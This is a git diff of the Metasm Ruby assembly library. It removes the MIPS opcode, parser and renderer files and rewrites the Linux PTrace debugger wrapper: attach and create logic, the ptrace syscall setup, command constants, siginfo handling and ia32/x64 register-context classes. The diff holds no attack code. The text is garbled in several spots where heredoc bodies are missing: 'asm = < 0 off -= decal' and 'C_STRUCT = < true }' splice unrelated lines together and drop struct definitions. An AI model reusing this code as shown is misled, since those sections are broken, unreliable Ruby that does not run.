:diff_bits, [ 16, 1, 1 ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.#{type_str}", type, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - end - end - - # S and D Without PS - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'div', type, 0b000011, 'fd, fs, ft' - macro_addop_cop1_precision 'sqrt', type, 0b000100, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'round.w', type, 0b001100, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.w', type, 0b001101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.w', type, 0b001110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.w', type, 0b001111, 'fd, fs', :ft_zero - - end - - # COP2 is not decoded (pretty useless) - - [:cop1_d,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.s', type, 0b100000, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.d', type, 0b100001, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_d].each { |type| macro_addop_cop1_precision 'cvt.w', type, 0b100100, 'fd, fs', :ft_zero } - - [ :normal, :special, :regimm, :special2, :cop0, :cop0_c0, :cop1, :cop1_s, - :cop1_d, :cop1_w ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - # Initialize the instruction set with the MIPS32 Instruction Set Release 2 - def init_mips64 - init_mips32 - - #SPECIAL - macro_addop_special "rotr", 0b000010, 'rd, rt, sa', :diff_bits, [ 26, 1, 1 ] - macro_addop_special "rotrv", 0b000110, 'rd, rt, rs', :diff_bits, [ 6, 1, 1 ] - - # REGIMM - addop "synci", :regimm, 0b11111, '', {:base => [5,21], :off => [16, 0] } - - # --------------------------------------------------------------- - # SPECIAL3 opcode encoding of function field - # --------------------------------------------------------------- - - addop "ext", :special3, 0b00000, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msbd => [5, 11], :lsb => [5, 6] } - addop "ins", :special3, 0b00100, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msb => [5, 11], :lsb => [5, 6] } - - addop "rdhwr", :special3, 0b111011, 'rt, rd', { :rt => [5, 16], :rd => [5, 11] } - - addop "wsbh", :bshfl, 0b00010, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seb", :bshfl, 0b10000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seh", :bshfl, 0b11000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - - # --------------------------------------------------------------- - # COP0 - # --------------------------------------------------------------- - - addop "rdpgpr", :cop0, 0b01010, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "wdpgpr", :cop0, 0b01110, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "di", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 0] - addop "ei", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 1] - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 "mfhc1", 0b00011 - macro_addop_cop1 "mthc1", 0b00111 - - # Floating point - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'round.l', type, 0b001000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.l', type, 0b001001, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.l', type, 0b001010, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.l', type, 0b001011, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'recip', type, 0b010101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'rsqrt', type, 0b010110, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'cvt.l', type, 0b100101, 'fd, fs', :ft_zero - end - macro_addop_cop1_precision 'cvt.ps', :cop1_s, 0b100110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.s', :cop1_l, 0b100000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.d', :cop1_l, 0b100000, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'add', :cop1_ps, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', :cop1_ps, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', :cop1_ps, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', :cop1_ps, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', :cop1_ps, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', :cop1_ps, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', :cop1_ps, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', :cop1_ps, 0b010011, 'fd, fs, ft' - - addop "movf.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - addop "movt.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.ps", :cop1_cond, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - - # TODO: COP1X - - [ :special3, :bshfl, :cop1_l, :cop1_ps ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - end - - # Reset all instructions - def reset - metaprops_allowed.clear - args_allowed.clear - props_allowed.clear - fields_spec.clear - opcode_list.clear - end - -end - # Array containing all the supported opcodes - attr_accessor :opcode_list - - init_mips32 -end - -end diff --git a/lib/metasm/metasm/mips/parse.rb b/lib/metasm/metasm/mips/parse.rb deleted file mode 100644 index 239c93b7d9..0000000000 --- a/lib/metasm/metasm/mips/parse.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/mips/opcodes' -require 'metasm/parse' - -module Metasm -class MIPS - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/mips/render.rb b/lib/metasm/metasm/mips/render.rb deleted file mode 100644 index eb37ddc5f2..0000000000 --- a/lib/metasm/metasm/mips/render.rb +++ /dev/null @@ -1,43 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/mips/opcodes' -require 'metasm/render' - -module Metasm -class MIPS - class Reg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class FpReg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class Memref - include Renderable - def render ; [@offset, '(', @base, ')'] end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - if (a = i.args.first).kind_of? Expression and a.op == :- and a.lexpr.kind_of? String and a.rexpr.kind_of? String and opcode_list_byname[i.opname].first.props[:setip] - # jmp foo is stored as jmp foo - bar ; bar: - r << a.lexpr - else - i.args.each { |a_| - r << a_ << ', ' - } - r.pop - end - end - r - end -end -end diff --git a/lib/metasm/metasm/os/gnu_exports.rb b/lib/metasm/metasm/os/gnu_exports.rb index 1796c8b776..1fe2762e02 100644 --- a/lib/metasm/metasm/os/gnu_exports.rb +++ b/lib/metasm/metasm/os/gnu_exports.rb @@ -258,7 +258,7 @@ libruby1.8.so.1.8 ruby_current_node ruby_debug ruby_description ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree ruby_eval_tree_begin ruby_frame ruby_gc_stress ruby_ignorecase ruby_in_compile ruby_in_eval ruby_inplace_mode ruby_nerrs ruby_patchlevel ruby_platform ruby_release_date ruby_safe_level ruby_sandbox_restore ruby_sandbox_save ruby_scope ruby_sourcefile ruby_sourceline ruby_top_cref ruby_top_self ruby_verbose ruby_version ruby_yychar - ruby_yydebug ruby_yylval + ruby_yydebug ruby_yylval rb_float_new_in_heap EOL curlibname = nil data.each_line { |l| diff --git a/lib/metasm/metasm/os/linux.rb b/lib/metasm/metasm/os/linux.rb index 4db7c493c5..240b4ed316 100644 --- a/lib/metasm/metasm/os/linux.rb +++ b/lib/metasm/metasm/os/linux.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' module Metasm class PTrace @@ -13,9 +14,11 @@ class PTrace def self.open(target) ptrace = new(target) return ptrace if not block_given? - ret = yield ptrace - ptrace.detach - ret + begin + yield ptrace + ensure + ptrace.detach + end end # calls PTRACE_TRACEME on the current (ruby) process @@ -28,29 +31,49 @@ class PTrace # values for do_attach: # :create => always fork+traceme+exec+wait # :attach => always attach - # false/nil => same as attach, without actually calling PT_ATTACH (usefull if we're already tracing pid) - # anything else: try to attach if pid is numeric (using Integer()), else create - def initialize(target, do_attach=true) - begin - raise ArgumentError if do_attach == :create + # false/nil => same as attach, without actually calling PT_ATTACH (useful when the ruby process is already tracing pid) + # default/anything else: try to attach if pid is numeric, else create + def initialize(target, do_attach=true, &b) + case do_attach + when :create + init_create(target, &b) + when :attach + init_attach(target) + when :dup + raise ArgumentError unless target.kind_of?(PTrace) + @pid = target.pid + tweak_for_pid(@pid, target.tgcpu) # avoid re-parsing /proc/self/exe + when nil, false @pid = Integer(target) tweak_for_pid(@pid) - return if not do_attach - attach - rescue ArgumentError, TypeError - raise if do_attach == :attach or not do_attach - did_exec = true - if not @pid = fork - tweak_for_pid(::Process.pid) - traceme - ::Process.exec(*target) - exit!(0) - end + else + t = begin; Integer(target) + rescue ArgumentError, TypeError + end + t ? init_attach(t) : init_create(target, &b) + end + end + + def init_attach(target) + @pid = Integer(target) + tweak_for_pid(@pid) + attach + wait + puts "Ptrace: attached to #@pid" if $DEBUG + end + + def init_create(target, &b) + if not @pid = ::Process.fork + tweak_for_pid(::Process.pid) + traceme + b.call if b + ::Process.exec(*target) + exit!(0) end wait raise "could not exec #{target}" if $?.exited? - tweak_for_pid(@pid) if did_exec - puts "Ptrace: attached to #@pid" if $DEBUG + tweak_for_pid(@pid) + puts "Ptrace: attached to new #@pid" if $DEBUG end def wait @@ -59,10 +82,14 @@ class PTrace attr_accessor :reg_off, :intsize, :syscallnr, :syscallreg attr_accessor :packint, :packuint, :host_intsize, :host_syscallnr - # setup the variables according to the target - def tweak_for_pid(pid=@pid) + attr_accessor :tgcpu + @@sys_ptrace = {} + + # setup variables according to the target (ptrace interface, syscall nrs, ...) + def tweak_for_pid(pid=@pid, tgcpu=nil) # use these for our syscalls PTRACE - case LinOS.open_process(::Process.pid).cpu.shortname + @@host_csn ||= LinOS.open_process(::Process.pid).cpu.shortname + case @@host_csn when 'ia32' @packint = 'l' @packuint = 'L' @@ -78,9 +105,9 @@ class PTrace else raise 'unsupported architecture' end + @tgcpu = tgcpu || LinOS.open_process(pid).cpu # use these to interpret the child state - tgcpu = LinOS.open_process(pid).cpu - case tgcpu.shortname + case @tgcpu.shortname when 'ia32' @syscallreg = 'ORIG_EAX' @syscallnr = SYSCALLNR_I386 @@ -92,13 +119,53 @@ class PTrace else raise 'unsupported target architecture' end - cp = tgcpu.new_cparser - cp.parse SIGINFO_C - @siginfo = cp.alloc_c_struct('siginfo') - # buffer used in ptrace syscalls @buf = [0].pack(@packint) - @bufptr = str_ptr(@buf) + + @sys_ptrace = @@sys_ptrace[@host_syscallnr['ptrace']] ||= setup_sys_ptrace(@host_syscallnr['ptrace']) + end + + def setup_sys_ptrace(sysnr) + moo = Class.new(DynLdr) + case @@host_csn + when 'ia32' + # XXX compat lin2.4 ? + asm = < 0 off -= decal @@ -146,29 +214,30 @@ class PTrace pokedata(off+i, str[i, @host_intsize]) i += @host_intsize end + true end # linux/ptrace.h COMMAND = { - 'TRACEME' => 0, 'PEEKTEXT' => 1, - 'PEEKDATA' => 2, 'PEEKUSR' => 3, - 'POKETEXT' => 4, 'POKEDATA' => 5, - 'POKEUSR' => 6, 'CONT' => 7, - 'KILL' => 8, 'SINGLESTEP' => 9, - 'ATTACH' => 16, 'DETACH' => 17, - 'SYSCALL' => 24, + :TRACEME => 0, :PEEKTEXT => 1, + :PEEKDATA => 2, :PEEKUSR => 3, + :POKETEXT => 4, :POKEDATA => 5, + :POKEUSR => 6, :CONT => 7, + :KILL => 8, :SINGLESTEP => 9, + :ATTACH => 16, :DETACH => 17, + :SYSCALL => 24, # arch/x86/include/ptrace-abi.h - 'GETREGS' => 12, 'SETREGS' => 13, - 'GETFPREGS' => 14, 'SETFPREGS' => 15, - 'GETFPXREGS' => 18, 'SETFPXREGS' => 19, - 'OLDSETOPTIONS' => 21, 'GET_THREAD_AREA' => 25, - 'SET_THREAD_AREA' => 26, 'ARCH_PRCTL' => 30, - 'SYSEMU' => 31, 'SYSEMU_SINGLESTEP'=> 32, - 'SINGLEBLOCK' => 33, + :GETREGS => 12, :SETREGS => 13, + :GETFPREGS => 14, :SETFPREGS => 15, + :GETFPXREGS => 18, :SETFPXREGS => 19, + :OLDSETOPTIONS => 21, :GET_THREAD_AREA => 25, + :SET_THREAD_AREA => 26, :ARCH_PRCTL => 30, + :SYSEMU => 31, :SYSEMU_SINGLESTEP=> 32, + :SINGLEBLOCK => 33, # 0x4200-0x4300 are reserved for architecture-independent additions. - 'SETOPTIONS' => 0x4200, 'GETEVENTMSG' => 0x4201, - 'GETSIGINFO' => 0x4202, 'SETSIGINFO' => 0x4203 + :SETOPTIONS => 0x4200, :GETEVENTMSG => 0x4201, + :GETSIGINFO => 0x4202, :SETSIGINFO => 0x4203 } OPTIONS = { @@ -176,14 +245,15 @@ class PTrace 'TRACESYSGOOD' => 0x01, 'TRACEFORK' => 0x02, 'TRACEVFORK' => 0x04, 'TRACECLONE' => 0x08, 'TRACEEXEC' => 0x10, 'TRACEVFORKDONE'=> 0x20, - 'TRACEEXIT' => 0x40 + 'TRACEEXIT' => 0x40, 'TRACESECCOMP' => 0x80, } WAIT_EXTENDEDRESULT = { # Wait extended result codes for the above trace options. 'EVENT_FORK' => 1, 'EVENT_VFORK' => 2, 'EVENT_CLONE' => 3, 'EVENT_EXEC' => 4, - 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6 + 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6, + 'EVENT_SECCOMP' => 7, } WAIT_EXTENDEDRESULT.update WAIT_EXTENDEDRESULT.invert @@ -197,8 +267,8 @@ class PTrace 'EBX' => 0, 'ECX' => 1, 'EDX' => 2, 'ESI' => 3, 'EDI' => 4, 'EBP' => 5, 'EAX' => 6, 'DS' => 7, 'ES' => 8, 'FS' => 9, 'GS' => 10, 'ORIG_EAX' => 11, - 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, - 'EFLAGS' => 14, 'ESP' => 15, + 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, + 'EFLAGS' => 14, 'ESP' => 15, 'SS' => 16, # from ptrace.c in kernel source & asm-i386/user.h 'DR0' => 63, 'DR1' => 64, 'DR2' => 65, 'DR3' => 66, @@ -261,10 +331,10 @@ class PTrace mknodat fchownat futimesat fstatat64 unlinkat renameat linkat symlinkat readlinkat fchmodat faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice sync_file_range tee vmsplice move_pages getcpu epoll_pwait utimensat signalfd timerfd eventfd fallocate timerfd_settime - timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev + timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev rt_tg_sigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length } SYSCALLNR_I386.update SYSCALLNR_I386.invert - + SYSCALLNR_X86_64 = %w[read write open close stat fstat lstat poll lseek mmap mprotect munmap brk rt_sigaction rt_sigprocmask rt_sigreturn ioctl pread64 pwrite64 readv writev access pipe select sched_yield mremap msync mincore madvise shmget shmat shmctl dup dup2 pause nanosleep getitimer alarm @@ -341,7 +411,7 @@ typedef unsigned __int32 __uid_t; typedef uintptr_t sigval_t; typedef long __clock_t; -typedef struct siginfo { +struct siginfo { int si_signo; int si_errno; int si_code; @@ -377,138 +447,162 @@ typedef struct siginfo { long int si_band; /* Band event for SIGPOLL. */ int si_fd; } _sigpoll; + struct { /* SIGSYS under SECCOMP */ + uintptr_t si_calladdr; /* calling insn address */ + int si_syscall; /* triggering syscall nr */ + int si_arch; /* AUDIT_ARCH_* for syscall */ + } _sigsys; }; -} siginfo_t; +}; EOS def sys_ptrace(req, pid, addr, data) - data = str_ptr(data) if data.kind_of?(String) - addr = [addr].pack(@packint).unpack(@packint).first - data = [data].pack(@packint).unpack(@packint).first - Kernel.syscall(@host_syscallnr['ptrace'], req, pid, addr, data) + ret = @sys_ptrace.ptrace(req, pid, addr, data) + if ret < 0 and ret > -256 + raise SystemCallError.new("ptrace #{COMMAND.index(req) || req}", -ret) + end + ret end def traceme - sys_ptrace(COMMAND['TRACEME'], 0, 0, 0) + sys_ptrace(COMMAND[:TRACEME], 0, 0, 0) end def peektext(addr) - sys_ptrace(COMMAND['PEEKTEXT'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKTEXT], @pid, addr, @buf) @buf end def peekdata(addr) - sys_ptrace(COMMAND['PEEKDATA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKDATA], @pid, addr, @buf) @buf end def peekusr(addr) - sys_ptrace(COMMAND['PEEKUSR'], @pid, @host_intsize*addr, @bufptr) - bufval & ((1 << ([@host_intsize, @intsize].min*8)) - 1) + sys_ptrace(COMMAND[:PEEKUSR], @pid, @host_intsize*addr, @buf) + @peekmask ||= (1 << ([@host_intsize, @intsize].min*8)) - 1 + bufval & @peekmask end def poketext(addr, data) - sys_ptrace(COMMAND['POKETEXT'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKETEXT], @pid, addr, data.unpack(@packint).first) end def pokedata(addr, data) - sys_ptrace(COMMAND['POKEDATA'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKEDATA], @pid, addr, data.unpack(@packint).first) end def pokeusr(addr, data) - sys_ptrace(COMMAND['POKEUSR'], @pid, @host_intsize*addr, data) + sys_ptrace(COMMAND[:POKEUSR], @pid, @host_intsize*addr, data) end def getregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) # AllocCStruct buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETREGS], @pid, 0, buf) buf end def setregs(buf) - sys_ptrace(COMMAND['SETREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETREGS], @pid, 0, buf) end def getfpregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*1024 - sys_ptrace(COMMAND['GETFPREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPREGS], @pid, 0, buf) buf end def setfpregs(buf) - sys_ptrace(COMMAND['SETFPREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPREGS], @pid, 0, buf) end def getfpxregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETFPXREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPXREGS], @pid, 0, buf) buf end def setfpxregs(buf) - sys_ptrace(COMMAND['SETFPXREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPXREGS], @pid, 0, buf) end def get_thread_area(addr) - sys_ptrace(COMMAND['GET_THREAD_AREA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:GET_THREAD_AREA], @pid, addr, @buf) bufval end def set_thread_area(addr, data) - sys_ptrace(COMMAND['SET_THREAD_AREA'], @pid, addr, data) + sys_ptrace(COMMAND[:SET_THREAD_AREA], @pid, addr, data) end def prctl(addr, data) - sys_ptrace(COMMAND['ARCH_PRCTL'], @pid, addr, data) + sys_ptrace(COMMAND[:ARCH_PRCTL], @pid, addr, data) end - + def cont(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['CONT'], @pid, 0, sig) + sys_ptrace(COMMAND[:CONT], @pid, 0, sig) end def kill - sys_ptrace(COMMAND['KILL'], @pid, 0, 0) + sys_ptrace(COMMAND[:KILL], @pid, 0, 0) end def singlestep(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLESTEP'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLESTEP], @pid, 0, sig) end def singleblock(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLEBLOCK'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLEBLOCK], @pid, 0, sig) end def syscall(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SYSCALL'], @pid, 0, sig) + sys_ptrace(COMMAND[:SYSCALL], @pid, 0, sig) end def attach - sys_ptrace(COMMAND['ATTACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:ATTACH], @pid, 0, 0) end def detach - sys_ptrace(COMMAND['DETACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:DETACH], @pid, 0, 0) end def setoptions(*opt) opt = opt.inject(0) { |b, o| b |= o.kind_of?(Integer) ? o : OPTIONS[o] } - sys_ptrace(COMMAND['SETOPTIONS'], @pid, 0, opt) + sys_ptrace(COMMAND[:SETOPTIONS], @pid, 0, opt) end # retrieve pid of cld for EVENT_CLONE/FORK, exitcode for EVENT_EXIT def geteventmsg - sys_ptrace(COMMAND['GETEVENTMSG'], @pid, 0, @bufptr) + sys_ptrace(COMMAND[:GETEVENTMSG], @pid, 0, @buf) bufval end - def getsiginfo - sys_ptrace(COMMAND['GETSIGINFO'], @pid, 0, @siginfo.str) - @siginfo + def cp + @cp ||= @tgcpu.new_cparser end - def setsiginfo(si=@siginfo) + def siginfo + @siginfo ||= ( + cp.parse SIGINFO_C if not cp.toplevel.struct['siginfo'] + cp.alloc_c_struct('siginfo') + ) + end + + def getsiginfo + sys_ptrace(COMMAND[:GETSIGINFO], @pid, 0, siginfo.str) + siginfo + end + + def setsiginfo(si=siginfo) si = si.str if si.respond_to?(:str) - sys_ptrace(COMMAND['SETSIGINFO'], @pid, 0, si) + sys_ptrace(COMMAND[:SETSIGINFO], @pid, 0, si) end end @@ -562,7 +656,7 @@ class LinOS < OS # read from /proc/pid/task/ def threads Dir.entries("/proc/#{pid}/task/").grep(/^\d+$/).map { |tid| tid.to_i } - rescue + rescue # TODO handle pthread stuff (eg 2.4 kernels) [pid] end @@ -593,7 +687,7 @@ class LinOS < OS def terminate kill - end + end def kill(signr=9) ::Process.kill(signr, @pid) @@ -641,11 +735,29 @@ class LinuxRemoteString < VirtualString self.class.new(@pid, addr, len, dbg) end - def do_ptrace + def do_ptrace(needproc) if dbg dbg.switch_context(@pid) { - # XXX tid ? - yield dbg.ptrace if dbg.state == :stopped + st = dbg.state + next if st != :stopped + if needproc + # we will try to access /proc/pid/mem + # if the main thread is still running, fallback to ptrace.readmem instead + pst = (dbg.tid == @pid ? st : dbg.tid_stuff[@pid][:state]) + if pst != :stopped + savedreadfd = @readfd + @readfd = nil + begin + yield dbg.ptrace + ensure + @readfd = savedreadfd + end + else + yield dbg.ptrace + end + else + yield dbg.ptrace + end } else PTrace.open(@pid) { |ptrace| yield ptrace } @@ -654,11 +766,12 @@ class LinuxRemoteString < VirtualString def rewrite_at(addr, data) # target must be stopped - do_ptrace { |ptrace| ptrace.writemem(addr, data) } + wr = do_ptrace(false) { |ptrace| ptrace.writemem(addr, data) } + raise "couldn't ptrace_write at #{'%x' % addr}" if not wr end def get_page(addr, len=@pagelength) - do_ptrace { |ptrace| + do_ptrace(true) { |ptrace| begin if readfd and addr < (1<<63) # 1<<63: ruby seek = 'too big to fit longlong', linux read = EINVAL @@ -675,6 +788,305 @@ class LinuxRemoteString < VirtualString end end +class PTraceContext_Ia32 < PTrace + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_ia32 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_I386["DR#{i}"] } + @gpr_sub = @@gpr_sub_ia32 ||= gpr_sub_init + @xmm = @@xmm_ia32 ||= [:cwd, :swd, :twd, :fop, :fip, :fcs, :foo, + :fos, :mxcsr].inject({}) { |h, r| h.update r => true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_ia32'] + @gpr_st = @xmm_st = nil + end + + # :bh => [:ebx, 0xff, 8] + # XXX similar to Reg.symbolic... DRY + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "e#{r}x".to_sym + ret["#{r}x".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + ret["#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "e#{r}".to_sym + ret[r.to_sym] = [b, 0xffff] + } + ret[:orig_rax] = [:orig_eax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_ia32') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_fxsr_struct_ia32') + getfpxregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpxregs(st) + end + + def get_reg(r) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] + elsif o = @gpr_peek[rs] + peekusr(o) + elsif o = @gpr_sub[rs] + v = get_reg(o[0]) + v >>= o[2] if o[2] + v &= o[1] + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + [fu[4*i], fu[4*i+1], fu[4*i+2]].pack('L*').unpack('D').first # XXX + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] | (fu[4*i + 1] << 32) + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] | (fu[4*i + 1] << 32) | (fu[4*i + 2] << 64) | (fu[4*i + 3] << 96) + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end + + def set_reg(r, v) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] = v + do_setregs + elsif o = @gpr_peek[rs] + pokeusr(o, v) + elsif o = @gpr_sub[rs] + vo = get_reg(o[0]) + msk = o[1] + v &= o[1] + if o[2] + msk <<= o[2] + v <<= o[2] + end + v |= vo & ~msk + set_reg(o[0], v) + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] = v + do_setxmm + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i], fu[4*i+1], fu[4*i+2] = [v, -1].pack('DL').unpack('L*') # XXX + do_setxmm + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + do_setxmm + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + fu[4*i + 2] = (v >> 64) & 0xffff_ffff + fu[4*i + 3] = (v >> 96) & 0xffff_ffff + do_setxmm + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end +end + +class PTraceContext_X64 < PTraceContext_Ia32 + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_x64 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_X86_64["DR#{i}"] } + @gpr_sub = @@gpr_sub_x64 ||= gpr_sub_init + @xmm = @@xmm_x64 ||= [:cwd, :swd, :twd, :fop, :rip, :rdp, :mxcsr, + :mxcsr_mask].inject({}) { |h, r| h.update r => 